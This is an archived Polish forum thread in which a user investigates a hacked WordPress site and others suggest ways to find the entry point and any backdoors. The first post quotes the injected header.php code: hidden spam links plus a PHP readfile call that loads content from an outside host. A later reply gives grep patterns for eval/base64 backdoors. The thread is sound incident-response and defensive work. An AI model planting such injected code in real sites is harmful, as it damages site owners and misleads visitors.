Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Wirus in Wordpress
Forum PHP.pl > Inne > Hydepark
nospor
Hejka, dostalem do analizy strone postawioną na WP, w ktorej w header w theme porto w header.php pojawilo sie takie cos:
Kod
<div id="zcs">
<a href="http://www.usercc.com">釣漁具</a>
<a href="http://www.usercc.com">釣り道具</a>
<a href="http://www.usercc.com">山口屋釣漁具||釣り道具(釣り具)</a>
<a href="http://www.kku4h.com/">釣り用品</a>
<a href="http://www.kku4h.com/">フィッシング用品</a>
<a href="http://www.kku4h.com/">釣り用品: フィッシング用品の通販</a>
<a href="http://www.ecotoid.com">大阪漁具</a>
<a href="http://www.ecotoid.com">鮎釣り 道具</a>
<a href="http://www.ecotoid.com">大阪漁具、鮎釣り 道具、タモ網</a>
<a href="http://www.tasmr.com/">中央漁具</a>
<a href="http://www.tasmr.com/">大阪 釣具</a>
<a href="http://www.tasmr.com/">アメリカ屋漁具?中央漁具 - 漁具!大阪 釣具</a>
<a href="http://www.usercc.com">http://www.usercc.com</a>
<a href="http://www.kku4h.com/">http://www.kku4h.com/</a>
<a href="http://www.ecotoid.com">http://www.ecotoid.com</a>
<a href="http://www.tasmr.com/">http://www.tasmr.com/</a>
<a href="http://www.vapurtrail.com/">釣り道具</a>
<a href="http://www.vapurtrail.com/">釣り用品</a>
<a href="http://www.vapurtrail.com/">磯釣り道具</a>
<a href="http://www.vapurtrail.com/">釣り道具、釣り用品必要なのかを分かりやすく紹介しています</a>
<a href="http://www.ghmuk.com/">釣竿 メーカー</a>
<a href="http://www.ghmuk.com/">鮎釣り用品</a>
<a href="http://www.ghmuk.com/">渓流釣り用品</a>
<a href="http://www.ghmuk.com/">釣竿 メーカー、渓流釣り 鮎竿、釣り道具を探すなら岡野釣具店</a>
<a href="http://www.danceani.com/">釣り用品</a>
<a href="http://www.vapurtrail.com/">http://www.vapurtrail.com/</a>
<a href="http://www.ghmuk.com/">http://www.ghmuk.com/</a>
<script>document.getElementById('z'+'c'+'s').style.display='no'+'ne'</script></div>


<?php readfile('http://remote2.iduun.net/link/dvd.txt'); ?>

No i teraz próbuje dojść ktoredy to wlazło... Ftp i ssh zostały wykluczone przez admina, nie było żadnych takich połączen w wybranym czasie, wiec jakaś dziura w WP? Nie mogę za bardzo nic wygooglać. Wiem, że wp jest dziurawy jak ser szwajcarski.... Jedyna rada to być na bieżąco z aktualizacjami czy cos jeszcze?
redeemer
http://wpscan.org/ + sprawdź ręcznie czy nie używasz starych wersji pluginów ze znanymi błędami.
Cytat
Ftp i ssh zostały wykluczone przez admina
Nie traktowałbym tego jako wyrocznię.

Przeskanuj też czy nie masz gdzieś jakiegoś backdoora (dodatkowy plik / zmodyfikowany plik wp).
memory
https://wordpress.org/plugins/bulletproof-security/ lub inne pluginy typu Security
redeemer
Cytat(memory @ 4.05.2015, 15:14:26 ) *

http://www.securityfocus.com/archive/1/533904 :-)
memory
heehehe, pewnie zdążyli załatać smile.gif
redeemer
Cytat(memory @ 4.05.2015, 15:17:41 ) *
heehehe, pewnie zdążyli załatać smile.gif
To było "responsible disclosure", więc łata była od razu albo i wcześniej. Jednak IMHO nie wygląda to dobrze :-)
nospor
No ok, przelecialem tym wpscanem, faktycznie troche starowaty ten wp....

Cytat
Przeskanuj też czy nie masz gdzieś jakiegoś backdoora
Ale czym mam przeskanowac?
redeemer
"Starowaty"? To upgrade - nad czym się tutaj zastanawiać? :-)

Co do backoodorów, to są jakieś automatyczne skanery, ale najprościej jak porównasz pliki na serwerze z czystym wp (+ pluginami które masz).
sazian
spróbuj czegoś takiego
Kod
echo "error 0:"
find . -type f -exec grep -q "@error_reporting(0)" '{}' \; -print
echo "error 5:"
find . -type f -exec grep -q "error_reporting(5)" '{}' \; -print
echo "eval"
find . -type f -exec grep -q "eval(base64_decode(" '{}' \; -print



generalnie szukasz dziwnych fragmentów kodu zapisanych w base64 i wywołań przez eval

ktoś musiał wgrać "panel administracyjny" przez jakiś dziurawy plugin lub przez ftp, a teraz ma pełen dostęp do serwera

warto by również wyszukać i przeanalizować wszystkie pliki php które były edytowane przez np. ostatnie 30 dni
nospor
@sazian pliki się zmienily raczej tylko header.php we wszystkich themes jakie były.
Zastanawia mnie jednak fakt, ze razem z tą samą datą, co pliki header.php zostal rowniez zmieniony katalog PLUGINS, jednak w nim, nie widac zadnych plikow ze zmianą. Wygląda to wiec tak, jakby ktoś nagrał tam jakiś plik, poczym skasował. Miedzy nagraniem a skasowaniem mogl rzecz jasna jeszcze ten plik wykonac.
Idzie jakos na serwerze znaleźć, czy odbyły się takie operacje: Nagranie po czym skasowanie pliku?
sazian
równie dobrze ktoś mógł zmienić datę edycji pliku,
przez "panel administracyjny" masz pełen dostęp do shella
kreatiff
Może takie coś? http://www.forum.optymalizacja.com/topic/2...-ftp-od-yandex/
Warto przeczytać też posty innych użytkowników w tym temacie.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.